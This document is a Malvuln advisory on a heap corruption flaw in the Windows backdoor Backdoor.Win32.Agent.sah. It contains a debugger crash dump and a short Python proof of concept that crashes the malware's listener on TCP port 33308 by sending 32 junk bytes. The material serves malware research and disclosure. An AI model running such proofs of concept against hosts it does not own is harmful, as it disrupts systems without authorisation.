Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/3ee7a90b5fc3f2b7ba68911e8220df17.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Agent.sah Vulnerability: Heap Corruption Description: The malware listens on TCP port 33308. Third-party attackers who can reach infected systems can send a 32 byte junk payload causing a heap corruption overwriting the ECX register. Type: PE32 MD5: 3ee7a90b5fc3f2b7ba68911e8220df17 Vuln ID: MVID-2021-0386 ASLR: False DEP: False Safe SEH: True Disclosure: 11/01/2021 Memory Dump: (248.13b0): Unknown exception - code c0000017 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414148 edx=00000053 esi=00000003 edi=00000003 eip=7709ed3c esp=046bf26c ebp=046bf3fc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 7709ed3c c21400 ret 14h 0:004> .ecxr eax=046bfba8 ebx=046bfc40 ecx=41414148 edx=00000053 esi=0029b000 edi=00000000 eip=77103c59 esp=046bfba8 ebp=046bfc00 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!RtlpAllocateHeapRaiseException+0x3b: 77103c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:046bfbfc=fdfa2f2d 0:004> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe FAULTING_IP: ntdll!RtlpAllocateHeapRaiseException+3b 77103c59 8b4dfc mov ecx,dword ptr [ebp-4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 77103c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b) ExceptionCode: c0000017 ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 41414148 DEFAULT_BUCKET_ID: HEAP_CORRUPTION PROCESS_NAME: Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation. EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation. EXCEPTION_PARAMETER1: 41414148 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer FAULTING_THREAD: 000013b0 PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION LAST_CONTROL_TRANSFER: from 7707173a to 77103c59 STACK_TEXT: 046bfc00 7707173a 13145b00 02450000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b 046bfc40 770713ee 0000000c 00000000 13145b00 ntdll!RtlpAllocateHeapInternal+0x33a 046bfc5c 13142094 02450000 0000000c 41414140 ntdll!RtlAllocateHeap+0x3e WARNING: Stack unwind information not available. Following frames may be wrong. 046bfc74 1314214c 41414140 046bfca0 131427f2 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x2094 046bfc80 131427f2 41414140 00000008 0246d000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x214c 046bfca0 13145c3e 41414140 0246cfe0 00000000 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x27f2 046bff80 73df8654 0246cfe0 73df8630 4a421bc1 Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x5c3e 046bff94 77094a77 0246cfe0 fdfa2cf1 00000000 kernel32!BaseThreadInitThunk+0x24 046bffdc 77094a47 ffffffff 770b9ea9 00000000 ntdll!__RtlUserThreadStart+0x2f 046bffec 00000000 13145b00 0246cfe0 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~4s; .ecxr ; kb SYMBOL_NAME: heap_corruption!heap_corruption FOLLOWUP_NAME: MachineOwner MODULE_NAME: heap_corruption IMAGE_NAME: heap_corruption DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption Followup: MachineOwner Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=33308 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*32 s.send(PAYLOAD) s.close() print("Backdoor.Win32.Agent.sah / Heap Corruption") print("MD5: 3ee7a90b5fc3f2b7ba68911e8220df17") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).